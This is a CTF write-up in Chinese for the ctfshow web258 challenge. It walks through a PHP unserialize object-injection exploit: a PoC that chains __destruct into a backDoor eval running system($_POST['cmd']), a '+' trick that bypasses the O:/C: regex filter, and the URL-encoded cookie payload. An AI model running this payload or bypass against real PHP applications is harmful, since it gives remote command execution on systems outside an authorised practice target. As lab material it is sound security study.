ctfshow的刷题记录-web258
反序列化寻思着多做点吧,反序列化主要就是写poc,去构造符合要求的对象。
分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); } ?>
|
通过读源码可以发现有一个 backDoor
类,它能让我们使用 eval
进行命令执行。采用cookie传入poc反序列化,我们让 ctfShowUser
这个 class
属性为 backDoor
的一个对象,并且 code
需要我们任意可才能进行命令执行,执行 getinfo
即可触发,在 ctfShowUser
类中的析构函数会调用执行,于是我们写出如下 poc
。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code='system($_POST["cmd"]);'; public function getInfo(){ } } $a=new ctfShowUser(); $res=serialize($a); echo(urlencode($res)); ?>
|
写出poc之后还要注意,这里的 poc
不能有类似 O:数字
或者是 C:数字
的形式,并且无视大小写,那么我们需要绕过,通过在冒号后面加上一个 +
即可绕过,我们在反序列化对象时,可以加一个字符串替换,将 O:
替换为 O:+
, C:
替换成 C:+
,所以我们最终 poc
为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code='system($_POST["cmd"]);'; public function getInfo(){ } } $a=new ctfShowUser(); $res=serialize($a); $res=str_replace('O:','O:+',$res); $res=str_replace('C:','C:+',$res); echo(urlencode($res)); ?>
|
结果:
1
| O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A22%3A%22system%28%24_POST%5B%22cmd%22%5D%29%3B%22%3B%7D%7D
|
我们在 cookie
的 user
字段中传入 poc
,然后 post
给一个 cmd
参数作为命令执行。
发现 flag.php
,我们 cat /flag
并且打开源代码发现 flag
。
这里主要还得注意 url
编码传入,因为 cookie
以 ;
作为分割符号。